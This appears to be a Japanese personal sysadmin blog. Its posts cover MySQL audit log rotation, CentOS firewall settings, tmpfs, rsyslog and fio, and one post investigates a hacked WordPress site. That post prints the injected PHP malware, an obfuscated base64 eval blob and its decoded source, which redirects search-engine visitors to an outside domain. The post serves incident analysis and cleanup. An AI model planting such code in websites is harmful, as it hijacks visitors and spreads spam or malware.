MySQL 監査ログのローテション
MySQL Enterprise Auditで取得した監査ログをMySQL Utilitiesを利用して、
定期的にローテーション出来るかどうか確認してみました。

ログをローテーションした結果
audit

Audit Logのローテーションとしては、以下の2パターンがあります。

1) ログサイズによる自動ローテーション
sysvar_audit_log_rotate_on_size

If the audit_log_rotate_on_size value is greater than 0,
the audit log plugin closes and reopens its log file
if a write to the file causes its size to exceed this value.

2) mysqlutilitiesを利用したローテーション
MySQL Utilityを利用したローテーション

mysqluc> help utilities
Utility           Description
----------------  ---------------------------------------------------------
mysqlauditadmin   audit log maintenance utility
mysqlauditgrep    audit log search utility
mysqldbcompare    compare databases for consistency
mysqldbcopy       copy databases from one server to another
mysqldbexport     export metadata and data from databases
mysqldbimport     import metadata and data from files
mysqldiff         compare object definitions among objects where the
                  difference is how db1.obj1 differs from db2.obj2
mysqldiskusage    show disk usage for databases
mysqlfailover     automatic replication health monitoring and failover
mysqlfrm          show CREATE TABLE from .frm files
mysqlindexcheck   check for duplicate or redundant indexes
mysqlmetagrep     search metadata
mysqlprocgrep     search process information
mysqlreplicate    establish replication with a master
mysqlrpladmin     administration utility for MySQL replication
mysqlrplcheck     check replication
mysqlrplms        establish multi-source replication
mysqlrplshow      show slaves attached to a master
mysqlrplsync      replication synchronization checker utility
mysqlserverclone  start another instance of a running server
mysqlserverinfo   show server information
mysqluserclone    clone a MySQL user account to one or more new users

mysqluc>
mysqluc> help mysqlauditadmin
Usage: mysqlauditadmin.exe --server=user:pass@host:port --show-options

mysqlauditadmin - audit log maintenance utility

Options:
Option                     Description
-------------------------  ------------------------------------------------
--version                  show program's version number and exit
--help                     display this help message and exit
--license                  display program's license and exit
--server=SERVER            connection information for the server in the
                           form:
                           <user>[:<password>]@<host>[:<port>][:<socket>]
                           or <login-path>[:<port>][:<socket>] or <config-
                           path>[<&#91;group&#93;>].
--audit-log-name=LOG_NAME  full path and file name for the audit log file.
                           Used for stats and copy options.
--show-options             display the audit log system variables.
--remote-login=RLOGIN      user name and host to be used for remote login
                           for copying log files. Format:
                           <user>:<host_or_ip> Password will be prompted.
--file-stats               display the audit log file statistics.
--copy-to=COPY_LOCATION    the location to copy the audit log file
                           specified. The path must be locally accessible
                           for the current user.
--value=VALUE              value used to set variables based on the command
                           specified. See --help for list per command.
--ssl-ca=SSL_CA            The path to a file that contains a list of
                           trusted SSL CAs.
--ssl-cert=SSL_CERT        The name of the SSL certificate file to use for
                           establishing a secure connection.
--ssl-key=SSL_KEY          The name of the SSL key file to use for
                           establishing a secure connection.
-v, --verbose              control how much information is displayed. e.g.,
                           -v = verbose, -vv = more verbose, -vvv = debug
                           Available Commands: copy - copy the audit log to
                           a locally accessible path policy - set the audit
                           log policy Values = ALL, NONE, LOGINS, QUERIES,
                           DEFAULT rotate - perform audit log rotation
                           rotate_on_size - set the rotate log size limit
                           for auto rotation Values = 0, 4294967295

mysqluc> mysqlauditadmin --show-options --server=admin:password@192.168.56.113
WARNING: Using a password on the command line interface can be insecure.
#
# Audit Log Variables and Options
#
+------------------------------+---------------+
| Variable_name                | Value         |
+------------------------------+---------------+
| audit_log_buffer_size        | 1048576       |
| audit_log_connection_policy  | ALL           |
| audit_log_current_session    | ON            |
| audit_log_exclude_accounts   |               |
| audit_log_file               | audit.log     |
| audit_log_flush              | OFF           |
| audit_log_format             | OLD           |
| audit_log_include_accounts   |               |
| audit_log_policy             | ALL           |
| audit_log_rotate_on_size     | 0             |
| audit_log_statement_policy   | ALL           |
| audit_log_strategy           | ASYNCHRONOUS  |
+------------------------------+---------------+


mysqluc> mysqlauditadmin --show-options --server=admin:password@192.168.56.113 rotate
WARNING: Using a password on the command line interface can be insecure.
#
# Showing options before command.
#
# Audit Log Variables and Options
#
+------------------------------+---------------+
| Variable_name                | Value         |
+------------------------------+---------------+
| audit_log_buffer_size        | 1048576       |
| audit_log_connection_policy  | ALL           |
| audit_log_current_session    | ON            |
| audit_log_exclude_accounts   |               |
| audit_log_file               | audit.log     |
| audit_log_flush              | OFF           |
| audit_log_format             | OLD           |
| audit_log_include_accounts   |               |
| audit_log_policy             | ALL           |
| audit_log_rotate_on_size     | 0             |
| audit_log_statement_policy   | ALL           |
| audit_log_strategy           | ASYNCHRONOUS  |
+------------------------------+---------------+

#
# Executing ROTATE command.
#

#
# Showing options after command.
#
# Audit Log Variables and Options
#
+------------------------------+---------------+
| Variable_name                | Value         |
+------------------------------+---------------+
| audit_log_buffer_size        | 1048576       |
| audit_log_connection_policy  | ALL           |
| audit_log_current_session    | ON            |
| audit_log_exclude_accounts   |               |
| audit_log_file               | audit.log     |
| audit_log_flush              | OFF           |
| audit_log_format             | OLD           |
| audit_log_include_accounts   |               |
| audit_log_policy             | ALL           |
| audit_log_rotate_on_size     | 0             |
| audit_log_statement_policy   | ALL           |
| audit_log_strategy           | ASYNCHRONOUS  |
+------------------------------+---------------+


mysqluc>

ログが以下のようにローテーションされて、
古いファイルがaudit.log.xxxxx.xmlというファイル名になっています。


[root@misc data]# ls -l audit.*
-rw-rw----. 1 mysql mysql  4600  3月 13 22:13 audit.log
-rw-rw----. 1 mysql mysql 23048  3月 13 22:13 audit.log.14262524122629864.xml
[root@misc data]#

追加で、負荷をかけた状態でローテーションしてみました。こちらがWorkbenchで確認したログです。
workbench

Workbenchでログも確認してみました。mysqlslapからアクセスがある事が確認出来ます。
log

mysqlauditadminについては此方を参照下さい
http://dev.mysql.com/doc/mysql-utilities/1.3/en/mysqlauditadmin.html

https://docs.oracle.com/cd/E17952_01/mysql-utilities-1.3-en/mysqlauditadmin.html

補足;此方は、コマンドでログの中身をフィルターするUTILITYになります。
http://dev.mysql.com/doc/mysql-utilities/1.3/en/mysqlauditgrep.html

Enterprise Auditはこちらから30日間トライアルがダウンロード可能です。
https://edelivery.oracle.com/

MySQL Utiliries
http://thinkit.co.jp /story/2014/02/10/4814 

SYSLOG: This function is also nice to have. (Percona)
http://www.percona.com/doc/percona-server/5.6/management/audit_log_plugin.html


デモ用にLaptopにVirtualBoxをインストールしました。
CentOS7を3台いれたのですが、SLOGINは出来たのですがMySQLの接続がGestOS間で
出来なかったので少し調べました。以前までは、chkconfigでiptableをON/OFFでコントロール
していたのですが、CentOSでは少しだけ作法が変わったようです。

VirtualBox シンプルで設定が簡単です。
virtualbox

ゲストOSからネットに接続する為のNIC
virtualbox_nic

Host OS<-> Guest OS と Guest OS<-> Guest OS間の接続に利用するNIC
virtualbox_nic2

使用したイメージ:CentOS-7.0-1406-x86_64-Minimal.iso

ゲストOS

[admin@CentOS01 ~]$ uname -a
Linux CentOS01 3.10.0-123.6.3.el7.x86_64 #1 SMP Wed Aug 6 21:12:36 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
[admin@CentOS01 ~]$ 

これまでのchkconfigでは無くて、systemctlでサービスのコントロールするのがお勧めのようです。


Last login: Thu Sep 18 23:25:52 2014 from 192.168.56.102
=================================
This is local virtual host #01
Host Name: CentOS01
This is Production Version
=================================

[admin@CentOS01 ~]$ ls -l
合計 0
[admin@CentOS01 ~]$ sudo -s
[sudo] password for admin: 
[root@CentOS01 admin]# chkconfig --list

注記: この出力は SysV サービスのみであり、ネイティブな systemd のサービスは含まれていません。
      systemd services. SysV 設定のデータはネイティブな systemd の設定によって上書きされます。      systemd サービスを一覧表示するには 'systemctl list-unit-files' を使用してください。
      特定のターゲットにおいて有効化されているサービスを確認するには、
      'systemctl list-dependencies [target]' 。

iprdump         0:off   1:off   2:on    3:on    4:on    5:on    6:off
iprinit         0:off   1:off   2:on    3:on    4:on    5:on    6:off
iprupdate       0:off   1:off   2:on    3:on    4:on    5:on    6:off
mysql           0:off   1:off   2:on    3:on    4:on    5:on    6:off
netconsole      0:off   1:off   2:off   3:off   4:off   5:off   6:off
network         0:off   1:off   2:on    3:on    4:on    5:on    6:off
[root@CentOS01 admin]# systemctl list-dependencies
default.target
├─auditd.service
├─avahi-daemon.service
├─brandbot.path
├─crond.service
├─dbus.service
├─iprdump.service
├─iprinit.service
├─iprupdate.service
├─irqbalance.service
├─kdump.service
├─mysql.service
├─network.service
├─NetworkManager.service
├─plymouth-quit-wait.service
├─plymouth-quit.service
├─postfix.service
├─rsyslog.service
├─sshd.service
├─systemd-ask-password-wall.path
├─systemd-logind.service
├─systemd-readahead-collect.service
├─systemd-readahead-replay.service
├─systemd-update-utmp-runlevel.service
├─systemd-user-sessions.service
├─tuned.service
├─basic.target
│ ├─firewalld.service
│ ├─microcode.service
│ ├─rhel-autorelabel-mark.service
│ ├─rhel-autorelabel.service
│ ├─rhel-configure.service
│ ├─rhel-dmesg.service
│ ├─rhel-loadmodules.service
│ ├─paths.target
│ ├─slices.target
│ │ ├─-.slice
│ │ └─system.slice
│ ├─sockets.target
│ │ ├─avahi-daemon.socket
│ │ ├─dbus.socket
│ │ ├─dm-event.socket
│ │ ├─lvm2-lvmetad.socket
│ │ ├─systemd-initctl.socket
│ │ ├─systemd-journald.socket
│ │ ├─systemd-shutdownd.socket
│ │ ├─systemd-udevd-control.socket
│ │ └─systemd-udevd-kernel.socket
│ ├─sysinit.target
│ │ ├─dev-hugepages.mount
│ │ ├─dev-mqueue.mount
│ │ ├─kmod-static-nodes.service
│ │ ├─lvm2-monitor.service
│ │ ├─plymouth-read-write.service
│ │ ├─plymouth-start.service
│ │ ├─proc-sys-fs-binfmt_misc.automount
│ │ ├─sys-fs-fuse-connections.mount
│ │ ├─sys-kernel-config.mount
│ │ ├─sys-kernel-debug.mount
│ │ ├─systemd-ask-password-console.path
│ │ ├─systemd-binfmt.service
│ │ ├─systemd-journal-flush.service
│ │ ├─systemd-journald.service
│ │ ├─systemd-modules-load.service
│ │ ├─systemd-random-seed.service
│ │ ├─systemd-sysctl.service
│ │ ├─systemd-tmpfiles-setup-dev.service
│ │ ├─systemd-tmpfiles-setup.service
│ │ ├─systemd-udev-trigger.service
│ │ ├─systemd-udevd.service
│ │ ├─systemd-update-utmp.service
│ │ ├─systemd-vconsole-setup.service
│ │ ├─cryptsetup.target
│ │ ├─local-fs.target
│ │ │ ├─-.mount
│ │ │ ├─boot.mount
│ │ │ ├─rhel-import-state.service
│ │ │ ├─rhel-readonly.service
│ │ │ ├─systemd-fsck-root.service
│ │ │ └─systemd-remount-fs.service
│ │ └─swap.target
│ │   ├─dev-centos-swap.swap
│ │   ├─dev-disk-by\x2did-dm\x2dname\x2dcentos\x2dswap.swap
│ │   ├─dev-disk-by\x2did-dm\x2duuid\x2dLVM\x2dR7SS2xtc4zQBQxiooj302IH1q4hymAgk5Sf62cdRsrkw...
│ │   ├─dev-disk-by\x2duuid-7a83fe51\x2dd701\x2d4f23\x2d8cd2\x2d835b5ef97c74.swap
│ │   ├─dev-dm\x2d0.swap
│ │   ├─dev-mapper-centos\x2dswap.swap
│ │   └─dev-mapper-centos\x2dswap.swap
│ └─timers.target
│   └─systemd-tmpfiles-clean.timer
├─getty.target
│ └─getty@tty1.service
└─remote-fs.target

[root@CentOS01 admin]# 
[root@CentOS01 admin]# systemctl list-unit-files | grep firewall
firewalld.service                           enabled 
[root@CentOS01 admin]# systemctl disable firewalld.service
rm '/etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service'
rm '/etc/systemd/system/basic.target.wants/firewalld.service'
[root@CentOS01 admin]# systemctl list-unit-files | grep firewall
firewalld.service                           disabled
[root@CentOS01 admin]# 

Firewallサービスを無効にしたので、リブートかけました。
Reboot

/sbin/iptable -Lで確認すると全てが外れていました。
VirtualBox内なのでこれでOKです。本番環境で利用する場合は、
丁寧にIPTABLEを管理した方が良いかと思います。
無事VirtualBoxのゲストOS間でMySQLに接続出来るようになりました。

Last login: Fri Sep 19 18:16:22 2014 from 192.168.56.1
=============================================
This is local virtual host #02
Host Name: CentOS02
=============================================
[admin@CentOS02 ~]$ mysql -h 192.168.56.101 -u admin -p 
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.6.20-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

admin@192.168.56.101 > show full processlist;
+----+-------+----------------------+------+---------+------+-------+-----------------------+
| Id | User  | Host                 | db   | Command | Time | State | Info                  |
+----+-------+----------------------+------+---------+------+-------+-----------------------+
|  1 | admin | 192.168.56.102:47643 | NULL | Query   |    0 | init  | show full processlist |
+----+-------+----------------------+------+---------+------+-------+-----------------------+
1 row in set (0.01 sec)

admin@192.168.56.101 > 

暫く忙しく、アップグレードもパスワード変更もしてなかったら、
いつのまにか、ヘッダーに変な文字列が埋め込まれてしまい。
訳の分からないサイトにリダイレクトされてました。

気付いたのは、いつもどおり自分のメモ代わりのこのサイトで調べ物をしようとした時に、
スマホだと問題無くアクセス出来るが、PCからGoogleで検索してサイトにアクセスすると、
変なサイトに302 Redirectされてしまいました。但し、PCから直接サイトを指定して表示すると、
問題無くアクセスする事が出来ました。

実際の動きを確認する為に、Wiresharkで状況を確認してみました。

wireshark

どうやらRedirectされている事は間違いないようでした。

ソースコードを調べてみると、wordpressにあるlocationという変数を利用して特定の条件でアクセスするとリダイレクト
されるようにしてあったようです。最初は、暗号化されていたので分かりませんでしたが、
decodeしてみると以下のようになっていました。

暗号化

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9id2FrcS5teXouaW5mby8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

複合化
refererやブラウザーで条件を指定して特定のサイトにリダイレクトするコードになっていました。

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://bwakq.myz.info/");
exit();
}
}
}
}
}

DBの中身をダンプして調べましたが、特に怪しいコードはありませんでした。

とりあえず、ファイルの中身をgrepして特定の文字列を見つけてかなりのphpにコードが書かれている事を確認したので、
全てコードを入れ替えて、特定のソースに関しては、Perlでワンライナーして入れ替えました。
ワードプレスも、プラグインも最新に入れ替えてコードが無くなった事を確認したのでパスワードを変更して、
パーミッションを見直してとりあえず。OK。

仕事では無いのと単純なリダイレクトだったのでとりあえず問題ないけど、
やはり個人のサイトもきちんとメンテナンスして適切な状態にしておかないと
いけないなと感じる出来事でした。少し軽く考えてたと感じました。

少し確認しても、1つのIPから複数ブラウザーでアクセスしてきている事が確認出来ます。
IPを絞ってログを追いかければ、今後の対策が少し見えてきそうです。

$ awk '{print $1}' variable.jp_*.log | sort | uniq -c | sort -nr | head
   3524 124.44.xxx.xxx
   2412 209.85.xxx.xxx
   2157 199.15.xxx.xxx
   1997 198.200.xxx.xxx
   1813 198.200.xxx.xxx
   1740 198.2.xxx.xxx
   1668 142.4.xxx.xxx
   1578 198.200.xxx.xxx
   1458 142.4.xxx.xxx
   1448 210.172.xxx.xxx

anywhere@any-place /c/tmp
$

$ cat variable.jp_20130528.log | egrep -i "198.200.xxx.xxx" | awk '{print $12,$13,14,$15,$16,$17,$18,$19}' | sort | uniq -c | sort -nr | head
     12 "Opera/9.80 (Windows 14 6.1; WOW64; MRA 6.0 (build
      9 "Mozilla/5.0 (Windows 14 6.1) AppleWebKit/535.19 (KHTML, like Gecko)
      9 "Mozilla/5.0 (Windows 14 6.0) AppleWebKit/537.11 (KHTML, like Gecko)
      6 "Opera/9.80 (Windows 14 6.1; WOW64; Edition Yx) Presto/2.12.388
      6 "Mozilla/5.0 (Windows; 14 Windows NT 6.1; en-US) AppleWebKit/534.10
      6 "Mozilla/5.0 (Windows 14 6.1; WOW64) AppleWebKit/535.19 (KHTML, like
      6 "Mozilla/5.0 (Windows 14 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
      3 "Opera/9.80 (Windows 14 6.2; WOW64; MRA 8.0 (build
      3 "Opera/9.80 (Windows 14 6.2; U; en) Presto/2.10.289 Version/12.02"
      3 "Opera/9.80 (Windows 14 6.1; U; ru) Presto/2.10.289 Version/12.02"

anywhere@any-place /c/tmp
$


anywhere@any-place /c/tmp
$ awk '{print $7}' variable.jp_*.log  | grep 'wp-login' | sort | uniq -c | sort -nr | head
  14114 /wp-login.php
     13 /2009/wp-login.php?action=register
     12 /wp-login.php?redirect_to=http%3A%2F%2Fvariable.jp%2Fwp-admin%2F&reauth=1
     11 /wp-login.php?action=register
      8 /wp-login.php?action=lostpassword
      6 /wp-login.php?registration=disabled
      2 /wp-login.php?loggedout=true
      2 /wp-login.php/?action=register
      1 /wp-login.php?redirect_to=http://variable.jp/wp-admin/&reauth=1
      1 /wp-login.php?action=logout&_wpnonce=e1403e3394

anywhere@any-place /c/tmp
$

とりあえず、ログをダンプしたので少し確認して対策して見ます。


ディスクとメモリーへの書き込み速度確認
ddコマンドで128Mのブロックサイズを2回書き込んだ速度確認

ディスク: real 0m7.087s
メモリー: real 0m0.788s
約9倍の書き込み速度の違いが見られる。

ファイルシステムへの書き込み速度

[root@HOME001 local]# df -h
Filesystem            Size  Used Avail Use% マウント位置
/dev/mapper/vg_home001-lv_root
                       47G  2.5G   42G   6% /
tmpfs                 947M     0  947M   0% /dev/shm
/dev/sda1             485M   36M  424M   8% /boot
/dev/mapper/vg_home001-lv_home
                      4.6G  322M  4.0G   8% /home
[root@HOME001 local]# time dd if=/dev/zero of=/usr/local/tmp/tmpfs bs=128M count=2
2+0 records in
2+0 records out
268435456 bytes (268 MB) copied, 7.06478 s, 38.0 MB/s

real    0m7.087s
user    0m0.001s
sys     0m0.949s
[root@HOME001 local]# rm -f /usr/local/tmp/*

[root@HOME001 local]# free
             total       used       free     shared    buffers     cached
Mem:       1938948     200436    1738512          0      10720      94452
-/+ buffers/cache:      95264    1843684
Swap:      4161528          0    4161528
[root@HOME001 local]#

tmpfs(メモリー)への書き込み速度

[root@HOME001 local]# mount -t tmpfs -o size=512m tmpfs /usr/local/tmp
[root@HOME001 local]# df -h
Filesystem            Size  Used Avail Use% マウント位置
/dev/mapper/vg_home001-lv_root
                       47G  2.5G   42G   6% /
tmpfs                 947M     0  947M   0% /dev/shm
/dev/sda1             485M   36M  424M   8% /boot
/dev/mapper/vg_home001-lv_home
                      4.6G  322M  4.0G   8% /home
tmpfs                 512M     0  512M   0% /usr/local/tmp
[root@HOME001 local]# time dd if=/dev/zero of=/usr/local/tmp/tmpfs bs=128M count=2
2+0 records in
2+0 records out
268435456 bytes (268 MB) copied, 0.770854 s, 348 MB/s

real    0m0.788s
user    0m0.000s
sys     0m0.784s
[root@HOME001 local]#

[root@HOME001 local]# df -h
Filesystem            Size  Used Avail Use% マウント位置
/dev/mapper/vg_home001-lv_root
                       47G  2.5G   42G   6% /
tmpfs                 947M     0  947M   0% /dev/shm
/dev/sda1             485M   36M  424M   8% /boot
/dev/mapper/vg_home001-lv_home
                      4.6G  322M  4.0G   8% /home
tmpfs                 512M  257M  256M  51% /usr/local/tmp
[root@HOME001 local]# free
             total       used       free     shared    buffers     cached
Mem:       1938948     462820    1476128          0      10720     356596
-/+ buffers/cache:      95504    1843444
Swap:      4161528          0    4161528
[root@HOME001 local]#

tempfs

fstabに追記して常時起動

[root@HOME001 local]# df -h
Filesystem            Size  Used Avail Use% マウント位置
/dev/mapper/vg_home001-lv_root     47G  2.5G   42G   6% /
tmpfs                             947M     0  947M   0% /dev/shm
/dev/sda1                         485M   36M  424M   8% /boot
/dev/mapper/vg_home001-lv_home    4.6G  322M  4.0G   8% /home
[root@HOME001 local]# vi /etc/fstab

[root@HOME001 local]# cat /etc/fstab
#
# /etc/fstab
# Created by anaconda on Sun Nov 25 06:08:34 2012
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
/dev/mapper/vg_home001-lv_root /                       ext4    defaults        1 1
UUID=d0a823c7-d51e-42de-b422-2f3ab5d82d96 /boot                   ext4    defaults        1 2
/dev/mapper/vg_home001-lv_home /home                   ext4    defaults        1 2
/dev/mapper/vg_home001-lv_swap swap                    swap    defaults        0 0
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0
# add for memory disk
tmpfs                   /usr/local/tmp          tmpfs   defaults,size=512m 0 0
[root@HOME001 local]#


[root@HOME001 local]# mount -a
[root@HOME001 local]# df -h
Filesystem            Size  Used Avail Use% マウント位置
/dev/mapper/vg_home001-lv_root     47G  2.5G   42G   6% /
tmpfs                             947M     0  947M   0% /dev/shm
/dev/sda1                         485M   36M  424M   8% /boot
/dev/mapper/vg_home001-lv_home    4.6G  322M  4.0G   8% /home
tmpfs                             128M     0  512M   0% /usr/local/tmp
[root@HOME001 local]#


[root@HOME001 local]# time dd if=/dev/zero of=/usr/local/tmp/tmpfs bs=128M count=2
2+0 records in
2+0 records out
268435456 bytes (268 MB) copied, 0.776067 s, 346 MB/s

real    0m0.793s
user    0m0.001s
sys     0m0.789s
[root@HOME001 local]#

再起動後もマウントされている事を確認済み

fstab

関連スレ
MYSQL with tempfs


rsyslogとsyslogの動作確認。
最近インストールした新しいバージョンのCentOSにはrsyslogがインストールされていて、
古いシステムにはsyslogがインストールされていたので簡易互換性確認。
rsyslogは通信にTCPを利用するので、UDPで通信するsyslogよりも通信が安定しているとの事。

SYSLOGサーバー側(RSYSLOG)

[root@HOME001 log]# uname -a
Linux HOME001.localdomain 2.6.32-279.el6.i686 #1 SMP Fri Jun 22 10:59:55 UTC 2012 i686 i686 i386 GNU/Linux
[root@HOME001 log]#

[root@HOME001 log]# ps -awef|grep syslog | grep -v grep
root      3290     1  0 15:12 ?        00:00:00 /sbin/rsyslogd -i /var/run/syslogd.pid -r -m 0
[root@HOME001 log]# /sbin/rsyslogd -v
rsyslogd 5.8.10, compiled with:
        FEATURE_REGEXP:                         Yes
        FEATURE_LARGEFILE:                      Yes
        GSSAPI Kerberos 5 support:              Yes
        FEATURE_DEBUG (debug build, slow code): No
        32bit Atomic operations supported:      Yes
        64bit Atomic operations supported:      Yes
        Runtime Instrumentation (slow code):    No

See http://www.rsyslog.com for more information.
[root@HOME001 log]#


[root@HOME001 log]# egrep 514 /etc/rsyslog.conf
#$UDPServerRun 514
$UDPServerRun 514
#$InputTCPServerRun 514
$InputTCPServerRun 514
# remote host is: name/ip:port, e.g. 192.168.0.1:514, port optional
#*.* @@remote-host:514
[root@HOME001 log]#

[root@HOME001 log]# cat /etc/sysconfig/rsyslog
# Options for rsyslogd
# Syslogd options are deprecated since rsyslog v3.
# If you want to use them, switch to compatibility mode 2 by "-c 2"
# See rsyslogd(8) for more details
# SYSLOGD_OPTIONS="-c 5"
SYSLOGD_OPTIONS="-r -m 0"
[root@HOME001 log]#

SYSLOGクライアント側(SYSLOG)

[root@HOME002 ~]# uname -a
Linux HOME002.localdomain 2.6.18-53.1.21.el5 #1 SMP Tue May 20 09:34:18 EDT 2008 i686 i686 i386 GNU/Linux
[root@HOME002 ~]#

[root@HOME002 ~]# /sbin/syslogd -v
syslogd 1.4.1
[root@HOME002 ~]#

[root@HOME002 ~]# cat /etc/syslog.conf | grep 192.168.11.10
*.info;mail.none;authpriv.none;cron.none                @192.168.11.10
authpriv.*                                              @192.168.11.10
[root@HOME002 ~]# 

SYSLOGクライアントからイベントを送信

[root@HOME002 ~]# logger -p user.info "TEST Message01" (ファシリティ:user、プライオリティ:info を指定テスト)
[root@HOME002 ~]# logger -p user.info "TEST Message02" (ファシリティ:user、プライオリティ:info を指定テスト)
[root@HOME002 ~]# logger -p user.info "TEST Message03" (ファシリティ:user、プライオリティ:info を指定テスト)
[root@HOME002 ~]#

SYSLOGサーバー側

[root@HOME001 log]# tail -f /var/log/messages
Jan  2 18:33:37 home002 root: TEST Message01 (ファシリティ:user、プライオリティ:info を指定テスト)
Jan  2 18:33:42 home002 root: TEST Message02 (ファシリティ:user、プライオリティ:info を指定テスト)
Jan  2 18:33:46 home002 root: TEST Message03 (ファシリティ:user、プライオリティ:info を指定テスト)

基本動作確認
test
その他イベントもsecure,messageログに記録されている事を確認済み。

参考:
http://www.imamura.biz/blog/srv/syslog/9
http://hp.vector.co.jp/authors/VA022911/tec/centos/syslog.htm


FIOによるディスクパフォーマンス確認
HDDも以前と比較して選択肢が増えて、必要に応じてSATA,SAS,SSD,Fusion-IO等を選択し、
用件、コスト、パフォーマンス、可用性に応じて全体的なバランスからシステムを選択する必要がある。
ディスク、CPU、メモリー、ネットワークのパフォーマンスを必要に応じて確認する必要があるが、
今回はI/Oの確認の為にディスクベンチマークをFIOで行う方法の再確認。

fio
FIOの取得

[root@HOME001 tools]# wget http://brick.kernel.dk/snaps/fio-2.0.12.1.tar.bz2
--2012-12-30 15:57:22--  http://brick.kernel.dk/snaps/fio-2.0.12.1.tar.bz2
brick.kernel.dk をDNSに問いあわせています... 87.104.106.3
brick.kernel.dk|87.104.106.3|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 244365 (239K) [application/x-bzip]
`fio-2.0.12.1.tar.bz2' に保存中

100%[==============================================>] 244,365      209K/s 時間 1.1s

2012-12-30 15:57:25 (209 KB/s) - `fio-2.0.12.1.tar.bz2' へ保存完了 [244365/244365]

[root@HOME001 tools]#

FIOの展開

[root@HOME001 tools]# tar -jxf fio-2.0.12.1.tar.bz2
[root@HOME001 tools]# ls -l
合計 704
drwxrwxr-x. 11 root  root    4096 12月 19 03:55 2012 fio-2.0.12.1
-rw-r--r--.  1 root  root  244365 12月 19 03:56 2012 fio-2.0.12.1.tar.bz2
drwxrwxrwx.  6 mysql users   4096 12月 30 13:10 2012 htop-0.8.3
-rw-r--r--.  1 root  root  428061  6月 23 23:05 2009 htop-0.8.3.tar.gz
drwxr-xr-x.  5 root  root    4096 12月 29 07:21 2012 iotop-0.4.4
-rw-r--r--.  1 root  root   30334 10月 31 06:01 2011 iotop-0.4.4.tar.gz
[root@HOME001 tools]#

必要なライブラリーを追加

[root@HOME001 fio-2.0.12.1]# yum install libaio-devel
Loaded plugins: fastestmirror, security
Loading mirror speeds from cached hostfile
 * base: ftp.iij.ad.jp
 * extras: ftp.iij.ad.jp
 * updates: ftp.iij.ad.jp
Setting up Install Process
Resolving Dependencies
--> Running transaction check
---> Package libaio-devel.i686 0:0.3.107-10.el6 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

========================================================================================================================================
 Package                            Arch                       Version                                 Repository                  Size
========================================================================================================================================
Installing:
 libaio-devel                       i686                       0.3.107-10.el6                          base                        13 k

Transaction Summary
========================================================================================================================================
Install       1 Package(s)

Total download size: 13 k
Installed size: 19 k
Is this ok [y/N]: y
Downloading Packages:
libaio-devel-0.3.107-10.el6.i686.rpm                                                                             |  13 kB     00:00
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
  Installing : libaio-devel-0.3.107-10.el6.i686                                                                                     1/1
  Verifying  : libaio-devel-0.3.107-10.el6.i686                                                                                     1/1
Installed:
  libaio-devel.i686 0:0.3.107-10.el6
Complete!
[root@HOME001 fio-2.0.12.1]#

libaio

MAKEとインストール

[root@HOME001 fio-2.0.12.1]# make
    CC gettime.o
    CC fio.o
    CC ioengines.o
